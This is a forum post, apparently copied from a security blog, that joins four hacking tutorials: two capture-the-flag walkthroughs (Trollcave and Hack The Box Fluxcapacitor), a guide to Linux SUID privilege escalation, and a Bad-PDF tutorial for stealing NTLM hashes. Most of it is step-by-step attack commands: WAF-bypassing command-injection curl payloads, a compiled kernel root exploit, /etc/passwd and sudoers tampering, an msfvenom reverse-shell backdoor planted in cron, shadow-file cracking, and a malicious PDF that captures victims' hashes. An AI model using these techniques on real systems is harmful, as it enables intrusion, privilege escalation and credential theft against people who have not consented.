Login

**NINZA** · 05-14-2020, 08:50 AM

0			0

Today we are going to take one another CTF challenge known as Trollcave. The credit for making this VM machine goes to “David Yates” and it is another boot to root challenge in which our goal is to gain root access and capture the flag to complete the challenge. You can download this VM from

[To see content please register here]

Penetrating Methodology

Network Scanning (Nmap, netdiscover)
Information gathering:
Examining the Web Application framework (Ruby on Rails)
Mutable User IDs from 1 to 17 to confirm King’s page for super admin’s Account
Abusing Rails default directory for password reset (Google)
Exploiting IDOR to reset Password for King’s Account
Login into super admin console (King’s account)
Explore the file manager tab and enable the uploading option
Generate SSH RSA key without password
Upload RSA key
Pwn tty shell by ssh login
Kernel privilege escalation (searchsploit)
Encode exploit with base64
Transfer in the victim’s machine and decode it.
Run the kernel exploits and Gain root access
Capture the flag and Finished the challenge

Let’s Breach!!!
Let’s start with getting to know the IP of VM (Here, I have it at 192.168.1.124 but you will have to find your own)
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -A 192.168.1.124
1
nmap -A 192.168.1.124
Awesome!! Nmap has dumped the details of services running on open port 22 and 80.
[Image: 2.png?w=687&ssl=1]

Knowing that port 80 is open in the victim’s network I preferred to explore his IP in a browser. At first glance, we saw three tabs Home, login and Register.
[Image: 3.png?w=687&ssl=1]

Then we will scroll down the page and look at Ruby gem and found that this site is based on Ruby on rails. And on the right side, we saw two categories i.e. 0nline users and Newest users, when we click on “xer” a new web page gets opened.
[Image: 4.png?w=687&ssl=1]

From its URL we perceived that user xer has user ID 17 and hence there must be any user between user ID 1 to 17.
[Image: 5.png?w=687&ssl=1]

So we manually replace id 17 from id 1 and found King’s page which was for a superadmin account.
[Image: 6.png?w=687&ssl=1]

At its home page, we read the post password reset by coderguy, represented by ruby gem for rail password reset and from Google we found default directory for password reset for reset. So we explored

[To see content please register here]

and obtained the password reset form. Very first we tried to reset superadmin password but unfortunately got failed, But successfully got the link for xer password reset.
[Image: 14.png?w=687&ssl=1]

Yeah!! It was Pretty Good to see a link for xer password reset, then we have copied that link.

[To see content please register here]

1

[To see content please register here]

And paste the copied link in URL, then swap name=xer from the king as given below, later we entered a new password for superadmin (king), it is known as IDOR.

[To see content please register here]

1

[To see content please register here]

Well!!! On executing URL; it gives a message “password reset successfully” and then we logged in superadmin account.
[Image: 16.png?w=687&ssl=1]

Yippee!!! Finally, we logged in as superadmin and access the admin console, we saw many tabs and apparently click on the file manager.
[Image: 17.1.png?w=687&ssl=1]

Here we saw enable file upload option, and we enabled it so that we can upload any backdoor whenever we need to upload that.
[Image: 17.png?w=687&ssl=1]

Thus we started from uploading PHP backdoor but failed to upload, similarly, we tried so many backdoors such as ruby, C shell and many more but got failed each time. After so many attempts we successfully uploaded ssh RSA file.
To do so follow the below steps:
ssh-keygen -f rails
mv rails.pub authorized_keys
chmod 600 rails
1
2
3
ssh-keygen -f rails
mv rails.pub authorized_keys
chmod 600 rails
[Image: 18.png?w=687&ssl=1]

Here we have generated ssh RSA key file by the name of rails without a password and transferred rails.pub into authorized_keys and gave permission 600 for proper authentication.
Then upload the authorized_keys and add ../../../../../../home/rails/.ssh/authorized_keys path manually.
[Image: 19.png?w=687&ssl=1]

So after uploading the SSH key, it was time to connect the target machine through ssh key.
ssh -i rails [email protected]
1
ssh -i rails [email protected]
Awesome!! From the below image, you can observe the target machine’s tty shell.
[Image: 20.png?w=687&ssl=1]

Then we will execute lsb_release -a command to know the version of the kernel and found 16.04. After then with the help of searchsploit found kernel exploit 44298.c for local privilege escalation.
[Image: 22.png?w=687&ssl=1]

At that time we copied this exploit to Desktop and compiled it, so it was impossible to transfer the exploit using a simple compiled file, so we need to encode it in base64. You use the command below to follow the same steps.
cd Desktop
cp /usr/share/exploitdb/exploits/linux/local/44298.c .
gcc 44298.c -o kernel
base64 kernel
1
2
3
4
cd Desktop
cp /usr/share/exploitdb/exploits/linux/local/44298.c .
gcc 44298.c -o kernel
base64 kernel
[Image: 23.png?w=687&ssl=1]

We copied the base64 encoded value and then moved to the target terminal, where we created an empty exploit.base64 file with the help of the nano editor and pasted the copied encoding code above.
nano exploit.base64
1
nano exploit.base64
Far ahead, we decoded it as rootshell in a new file and gave all permissions to the decoded file. Finally, we run the rootshell file to get root privilege.
cat exploit.base64 |base64 -d > rootshell
chmod u+x rootshell
./rootshell
id
cd /root
cat flag.txt
1
2
3
4
5
6
cat exploit.base64 |base64 -d > rootshell
chmod u+x rootshell
./rootshell
id
cd /root
cat flag.txt
[Image: 27.png?w=687&ssl=1]

BINGO!!!! We got the root flag!!!

Today we are sharing our experience that can be helpful in solving new CTF challenge: Fluxcapacitor of Hack The Box. Solving this lab is not much easy, all you need is your web penetration testing skills to solve this challenge. This lab is designed to bypass the Web Application Firewall (WAF) for exploiting OS command injection vulnerability in this machine.
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
Penetration Methodology

Network Scanning
Enumeration
Exploiting
Privilege Escalation
Capture root.txt file

Let’s Begin!!
Network Scanning
These labs are only available online, therefore, they have a static IP. Fluxcapacitor has IP: 10.10.10.69.
As we knew, the initial stage is enumeration; therefore, use the nmap version scan to collect information about the target machine and running services.
nmap -sV 10.10.10.69
1
nmap -sV 10.10.10.69
[Image: 1.png?w=687&ssl=1]

From its scanning result, it tells us that port 80 is open to web services and is also protected by the “superWAF” web application firewall, so we explored the target IP in the web browser but found nothing interesting.
[Image: 2.png?w=687&ssl=1]

Enumeration
Then we looked into its source code and saw an exciting comment pointing to URL: /sync, and without wasting time, we opened /sync in URL.
[Image: 3.png?w=687&ssl=1]

LOL!!! It gave 403 forbidden error message and something openresty/1.13.6.1 then we looked at Google for any exploit related to it, but could not find any working exploit against it.
[Image: 4.png?w=687&ssl=1]

At the moment, we decided to use burp suite to intercept our browser request. After intercepting the HTTP request, the raw information is sent to the repeater.
[Image: 5.png?w=687&ssl=1]

Yeah!! It was the same output as in the web browser. There might be some chances of WAF filter restriction on user agents such as Mozilla Firefox/5.0.
[Image: 6.png?w=687&ssl=1]

So we start scrutiny for the User- Agent field by randomly replacing the original user- agent content from “raj.” Finally!!! It gave the current timestamp as disclosed in the comment found in the home page source code.
[Image: 7.png?w=687&ssl=1]

Now it was confirmed that there was a SuperWAF filter against the user agent field, so we tried to search for its exploit in Google, but we didn’t find any particular exploit. Nevertheless, Google gave a little hint for OS command injection and on the basis of that, we try a few parameters in the HTTP- header, such as /sync?test= ls, which answer each time with the same timestamp. Therefore, we need to fuzz the proper directory, so we will use wfuzz in our next step.
[Image: 8.png?w=687&ssl=1]

Exploiting
So we use common.txt wordlist for URL brute force and will execute below command.
wfuzz -w /usr/share/wordlists/dirb/common.txt -u

[To see content please register here]

-c --hh 19
1
wfuzz -w /usr/share/wordlists/dirb/common.txt -u

[To see content please register here]

-c --hh 19
It gave 403 response for payload “opt”; let’s try to opt after/sync and identify the response.
[Image: 10.png?w=687&ssl=1]

Now use the’ opt’ parameter to bypass WAF and execute ls command through it, HOWEVER again, there is a trick to execute ls command. Because WAF won’t allow you to execute OS command injection directly, it will be a little harder to exploit it. But THANKS to

[To see content please register here]

, because I have the idea of bypassing WAF to exploit OS command injection known as string literal concatenation from this website, it means that adjacent string literals are concatenated, without any operator.
[Image: 11.png?w=687&ssl=1]

We took help from the website I mentioned above and executed three commands: whoami, id, uname through curl as shown in the image.
curl "http://10.10.10.69/sync?opt=' whoami'"
curl "http://10.10.10.69/sync?opt=' id'"
curl "http://10.10.10.69/sync?opt=' u'n'ame -a'"
1
2
3
curl "http://10.10.10.69/sync?opt=' whoami'"
curl "http://10.10.10.69/sync?opt=' id'"
curl "http://10.10.10.69/sync?opt=' u'n'ame -a'"
Superb!! It was great to know that we have successfully bypassed WAF, but the task is still not finished.
[Image: 12.png?w=687&ssl=1]

Let’s seize the user.txt and root.txt file and finish this task. Hhhhhh!!!! Believe me, it’s still not easy to bypass WAF even if your goal is near.
Seriously, we put a lot of effort and finally found user.txt when we executed the commands below:
curl "http://10.10.10.69/sync?opt=' l's' /home'"
curl "http://10.10.10.69/sync?opt=' l's' /home/Fl'uxC'apa'cit'orI'n'c'"
curl "http://10.10.10.69/sync?opt=' c'at' /home/Fl'uxC'apa'cit'orI'n'c/u'ser'.'txt''"
1
2
3
curl "http://10.10.10.69/sync?opt=' l's' /home'"
curl "http://10.10.10.69/sync?opt=' l's' /home/Fl'uxC'apa'cit'orI'n'c'"
curl "http://10.10.10.69/sync?opt=' c'at' /home/Fl'uxC'apa'cit'orI'n'c/u'ser'.'txt''"
[Image: 13.png?w=687&ssl=1]

Privilege Escalation
Now the goal was root.txt and taking a lesson from the previous experience, I chose to run the sudo -l command to check the sudo privileges of the current user.
curl "http://10.10.10.69/sync?opt=' sudo -l'"
1
curl "http://10.10.10.69/sync?opt=' sudo -l'"
[Image: 14.png?w=687&ssl=1]

Awesome!! It told us that we can run a “monit” script with root privileges without using a password inside the /home/themiddle/directory.
Let’s open it with the help of the cat command as done here:
curl "http://10.10.10.69/sync?opt=' c'at' /h'ome/themiddle/.monit''"
1
curl "http://10.10.10.69/sync?opt=' c'at' /h'ome/themiddle/.monit''"
After reading the .monit file, we concluded that the script takes two parameters i.e. cmd string and base64 decoding which will match the conditions according to it and passes the final result to bash -c as the parameter.
[Image: 15.png?w=687&ssl=1]

It was therefore clear that the first parameter will match the string “cmd” and the second will decode the base64 value, which is why we first generated the base64 value for /root/root.txt because we were well aware of the location of the root.txt file from our previous challenges.
echo "cat /root/root.txt" | base64
1
echo "cat /root/root.txt" | base64
Now with the help of sudo privilege, execute the command to gain root access and complete the task by grabbing root.txt
curl "http://10.10.10.69/sync?opt=' sudo /h'ome/themiddle/.monit' cmd Y2F0IC9yb290L3Jvb3QudHh0Cg=='"
1
curl "http://10.10.10.69/sync?opt=' sudo /h'ome/themiddle/.monit' cmd Y2F0IC9yb290L3Jvb3QudHh0Cg=='"
HURRAYYYY!!! We reached the goal and successfully found the root.txt file.
[Image: 16.png?w=687&ssl=1]

In our previous article we have discussed “Privilege Escalation in Linux using etc/passwd file” and today we will learn “Privilege Escalation in Linux using SUID Permission.” While solving CTF challenges we always check suid permissions for any file or command for privilege escalation. It is very important to know what SUID is, how to set SUID and how SUID helps in privilege escalation. You can read our previous article where we had applied this trick for privilege escalation. Open the links given below:

[To see content please register here]

Hack the Box Challenge: Bank Walkthrough

[To see content please register here]

Hack the Box Challenge: Haircut Walkthrough
Let’s Start with Theoretical Concept !!
As we all know in Linux everything is a file, including directories and devices which have permissions to allow or restrict three operations i.e. read/write/execute. So when you set permission for any file, you should be aware of the Linux users to whom you allow or restrict all three permissions. Take a look at the following image.
[Image: 0.1.png?w=687]

Hence it is clear that the maximum number of bit is used to set permission for each user is 7, which is a combination of read (4) write (2) and execute (1) operation. For example, if you set chmod 755, then it will look like as rwxr-xr-x.
But when special permission is given to each user it becomes SUID, SGID, and sticky bits. When extra bit “4” is set to user(Owner) it becomes SUID (Set user ID) and when bit “2” is set to group it becomes SGID (Set Group ID) and if other users are allowed to create or delete any file inside a directory then sticky bits “1” is set to that directory.
[Image: 0.2.png?w=687]

What is SUID Permission?
SUID: Set User ID is a type of permission that allows users to execute a file with the permissions of a specified user. Those files which have suid permissions run with higher privileges. Assume we are accessing the target system as a non-root user and we found suid bit enabled binaries, then those file/program/command can run with root privileges.
How to set suid?
Basically, you can change the permission of any file either using the “Numerical” method or “Symbolic” method. As result, it will replace x from s as shown in the below image which denotes especial execution permission with the higher privilege to a particular file/command. Since we are enabling SUID for Owner (user) therefore bit 4 or symbol s will be added before read/write/execution operation.
[Image: 0.3.png?w=687]

If you execute ls -al with the file name and then you observe the small ‘s’ symbol as in the above image, then its means SUID bit is enabled for that file and can be executed with root privileges.
How to Find SUID Files
By using the following command you can enumerate all binaries having SUID permissions:
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null

/denotes start from the top (root) of the file system and find every directory
-perm denotes search for the permissions that follow
-u=sdenotes look for files that are owned by the root user
-typestates the type of file we are looking for
f denotes a regular file, not the directories or special files
2 denotes to the second file descriptor of the process, i.e. stderr (standard error)
> means redirection
/dev/null is a special filesystem object that throws away everything written into it.

HOW SUID helps in privilege escalation?
In Linux, some of the existing binaries and commands can be used by non- root users to escalate root access privileges if the SUID bit is enabled. There are some famous Linux / Unix executable commands that can allow privilege escalation: Bash, Cat, cp, echo, find, Less, More, Nano, Nmap, Vim and etc
Visit here more:

[To see content please register here]

Let’s get deep through practical work. First, create a user that should not be a sudo group user. Here, we have added user “ignite” whose UID is 1001 and GID is 1001 and therefore ignite is a non- root user.
adduser ignite
1
adduser ignite
[Image: 1.png?w=687]

Privilege Escalation using the copy command
If suid bit is enabled for the cp command, which is used to copy the data, it can lead to an escalation privilege to gain root access.
For example, suppose you (system admin) want to give cp command SUID permission. Then you can follow the steps below to identify its location and current permission, after which you can enable SUID bit by changing permission.
which cp
ls -al /bin/cp
chmod u+s /bin/cp
1
2
3
which cp
ls -al /bin/cp
chmod u+s /bin/cp
[Image: 2.png?w=687]

1st Method
On the other hand, start your attacking machine and first compromise the target system and then move to the privilege escalation phase. Suppose I successfully log into the victim’s machine via ssh and access the non-root user terminal. Then by using the following command, you can list all binaries with SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
[Image: 4.png?w=687]

In the above image, you can observe that it is showing so many files but we are interested in /bin/cp file. Because now we can copy /etc/passwd file for reading user list. Therefore I copy /passwd file inside the HTML directory.
cp /etc/passwd /var/www/html
1
cp /etc/passwd /var/www/html

On other hands, we have generated a new encrypted password: pass123 using OpenSSL passwd
[Image: 6.png?w=687]

We have copied the /passwd file into the web directory, i.e. /var/www/html, so I can open it through the web browser and then copy the entire contents of the /passwd file into a text file and then add our own user with root UID, GID, and directory.
In our

[To see content please register here]

, we have already discussed how to add a user /etc/passwd using the OpenSSL passwd utility.
[Image: 7.png?w=687]

Run Python HTTP server for transferring our edited passwd file into target’s machine.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80

As we all know, the /tmp directory has all permission to create or delete any file, so we have downloaded our passwd file inside it. After it is downloaded, we have copied the /tmp/passwd data to /etc/passwd as a result, it will overwrite the original passwd file.
cd /tmp
wget //192.168.1.108/passwd
cp passwd /etc/passwd
1
2
3
cd /tmp
wget //192.168.1.108/passwd
cp passwd /etc/passwd
With the help of tail command, we ensured that our user “hack” is either the part of /etc/passwd file. Since we have added our own user with root privileges let’s get into the root directory.
su hack
whoami
1
2
su hack
whoami
And Yessssssss !! This is an incredible way to escalated root privilege.
[Image: 9.png?w=687]

2nd Method
Similarly, if SUID bit is enabled for the cp command, we can also transfer our backdoor to the target system. Here, we have generated netcat backdoor for reverse connection using the msfvenom command.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=1234 R
[Image: 10.png?w=687]

Then copy the above highlighted code and paste it into a text file by editing #! /bin/bash, then ready to transfer it to the target system, I saved it as raj.sh.
[Image: 11.1.png?w=687]

Now we are all aware of the Linux crontab utility that runs files hourly, daily, weekly and monthly, so I copied raj.sh to /etc/cron.hourly, so it will run raj.sh after one hour.
cp raj.sh /etc/cron.hourly/
ls -al /etc/cron.hourly/
1
2
cp raj.sh /etc/cron.hourly/
ls -al /etc/cron.hourly/
[Image: 12.png?w=687]

Other hands we started Netcat listener in a new terminal and as the hour past it gives reverse connection of the target’s system with root privileges.
Hence we saw how a single cp command can lead to privilege escalation if SUID bit is ON. You can try your own way to escalated root privilege using cp command.
[Image: 13.1.png?w=687]

Privilege Escalation Using Find Command
Similarly, we can escalate root privilege if SUID bit is ON for /usr/bin/find.
For example, suppose you (system admin) want to give SUID permission for Find command. Then you can use which command to identify its location and current permission after then you can enable SUID bit by changing permission.
which find
ls -al /usr/bin/find
chmod u+s /usr/bin/find
1
2
3
which find
ls -al /usr/bin/find
chmod u+s /usr/bin/find
[Image: 13.png?w=687]

Again compromise the target system and then move for privilege escalation phase as done above. Then by using the following command, you can enumerate all binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
So here we came to know that SUID bit is enabled to find command which means we can execute any command within find command. To do so first we create an empty file “raj” and then run the whoami command as shown below.
touch raj
find raj -exec "whoami" \;
1
2
touch raj
find raj -exec "whoami" \;
If an attacker successfully enumerated SUID bit for /usr/bin/find then it will allow him to execute any malicious command such netcat bin/bash shell or may fetch important system information for privilege escalation.
[Image: 14.png?w=687]

Privilege Escalation Using Vim editor
Similarly, we can escalate root privilege if SUID bit is ON for Vim editor. For example, suppose you (system admin) want to give SUID permission for Vim editor. Then you can use “which” command to identify its location and current permission after then you can enable SUID bit by changing permission.
which vim
ls -al /usr/bin/vim
ls -al /usr/bin/alternatives/vim
chmod u+s /usr/bin/vim.basic
1
2
3
4
which vim
ls -al /usr/bin/vim
ls -al /usr/bin/alternatives/vim
chmod u+s /usr/bin/vim.basic
You will found vim.basic through symlinking as shown in the below image.
[Image: 15.png?w=687]

Again compromise the target system and then move for privilege escalation phase as done above. Then by using the following command, you can enumerate all binaries who’s having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
So here we came to know that SUID bit is enabled for /usr/bin/vim.basic and hence now we can edit any file which through vim that can be editable only by sudo or root user.
[Image: 16.png?w=687]

As we know ignite is non-root user who has least permissions, since vim has SUID permission, therefore, we can edit the sudoers file through it and can change permissions for user “ignite”. So we open sudoers file by typing visudo command and give all permission to user “ignite” as shown in the image.
ignite ALL=(ALL:ALL) ALL
1
ignite ALL=(ALL:ALL) ALL
[Image: 17.png?w=687]

Now let access root directory as shown in below image.
sudo -l
sudo bash
id
1
2
3
sudo -l
sudo bash
id
Great!! This trick also works superbly for privilege escalation.
[Image: 18.png?w=687]

Privilege Escalation using Saved Script
There are maximum chances to get any kind of script for the system or program call, it can be any script either PHP, Python or C language script. Suppose you (system admin) want to give SUID permission to a C language script which will provide bash shell on execution.
So here we have coded a c program which will call system for bash shell and saved it as “asroot.c”.
[Image: 19.png?w=687]

Then create a rootshell directory inside /bin directory and copy the asroot.c file in rootshell directory then run gcc compiler for compilation.
mkdir /bin/rootshell
cd /bin/rootshell
cp /home/raj/Desktop/asroot.c .
ls
gcc asroot.c -o shell
chmod u+s shell
ls -al shell
1
2
3
4
5
6
7
mkdir /bin/rootshell
cd /bin/rootshell
cp /home/raj/Desktop/asroot.c .
ls
gcc asroot.c -o shell
chmod u+s shell
ls -al shell
[Image: 20.png?w=687]

Now again compromise the target’s system and use find command to identify binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
So here we came to know that SUID bit is enabled for so many binary files but we are interested in /bin/rootshell/shell. So we move into /bin/rootshell directory and run the “shell” script, as result, we get root access as shown below.
cd /bin/rootshell/shell
./shell
id
1
2
3
cd /bin/rootshell/shell
./shell
id
Hence we saw how we can escalate root privilege if SUID bit is enabled for any script, although it is not possible to get such a script that calls bash shell if you found any script with SUID permission then using above techniques you can modify the contents of that script to get the bash shell.
[Image: 21.png?w=687]

Privilege Escalation using Nano Editor
Similarly, we can escalate root privilege if SUID bit is ON for nano editor. For example, suppose you (system admin) want to give SUID permission for nano editor. Then you may follow the below steps to identify its location and current permission so that you can enable SUID bit by changing permission.
which nano
ls -al /bin/nano
chmod u+s /bin/nano
1
2
3
which nano
ls -al /bin/nano
chmod u+s /bin/nano
[Image: 22.png?w=687]

Again compromise the target system and then move for privilege escalation phase as done above. Then by using the following command, you can enumerate all binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
So here we came to know that SUID bit is enabled for /bin/nano and now let’s open /etc/passwd file to edit own user as done above by using OpenSSL passwd.
[Image: 23.png?w=687]

On other hands, I have generated a new encrypted password: 123 using OpenSSL passwd
[Image: 24.png?w=687]

Now open passwd file with nano editor and add your own user as done above. Here you can observe I have created demo user with an encrypted password in the victim’s system.
nano /etc/passwd
1
nano /etc/passwd
Since we have added our own user with root privileges let’s get into the root directory.
[Image: 25.png?w=687]

su demo
id
1
2
su demo
id
[Image: 26.png?w=687]

2nd Method
If suid bit is enabled for /bin/nano then we can steal the password from inside /etc/shadow file. So after compromising target’s machine we had opened shadow file in nano editor and copy the encrypted password set for user: raj.
[Image: 27.png?w=687]

Now paste above copy code into a text file and saved as a hash on the desktop, after then used John the ripper to decode it as shown below. It has given raj: 123 as password, now try to login into target’s system through raj account.
So Today we have demonstrated how the SUID permission can lead to privilege escalation even if it is allowed to a normal copy, cat, nano, vim and so commands and programs.
[Image: 28.png?w=687]

Today we are demonstrating stealing NTLM hashes through a pdf file. We have already discussed the various methods to Capture NTLM Hashes in a Network in our

[To see content please register here]

article. Recently a new tool has launched “Bad-PDF” and in this article, we are sharing our experience.
Bad-PDF creates malicious PDF to steal NTLM(NTLMv1/NTLMv2) Hashes from windows machines, it utilizes vulnerability disclosed by checkpoint team to create the malicious PDF file. Bad-Pdf reads the NTLM hashes using Responder listener.
This method works for all PDF readers(Any version) and java scripts are not required for this attack, most of the EDR/Endpoint solution fail to detect this attack.
git clone

[To see content please register here]

cd Bad.Pdf
ls
chmod 777 badpadf.py
1
2
3
4
git clone

[To see content please register here]

cd Bad.Pdf
ls
chmod 777 badpadf.py
[Image: 1.png?w=687&ssl=1]

Now run the python file with the help of following command given below:
python badpdf.py
1
python badpdf.py
Then it will try to connect with Responder through its default path i.e. /user/bin /responder but in our case, the location of the responder is user/sbin/responder. After then it will ask your network IP, the name of the output file and interface name, submit this information as per your network.
[Image: 2.png?w=687&ssl=1]

Then it will create a malicious pdf file with name bad.pdf, now transfer this pdf file to your target.
[Image: 3.png?w=687&ssl=1]

So, when the victim will click our malicious file, his NTLM hash will be captured as shown in below image. Here you can observe username ‘raj’ along with its hash password. Now copy the hash value in a text document so that you can crack this hash value for retrieving the password.
[Image: 7.png?w=687&ssl=1]

We have pasted the hash value in a text file and save it as “hash” on the desktop. Later we had used John the ripper for cracking the hash.
john hash
1
john hash
Awesome!!! We have retrieved password: 133 for user: raj.
[Image: 8.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis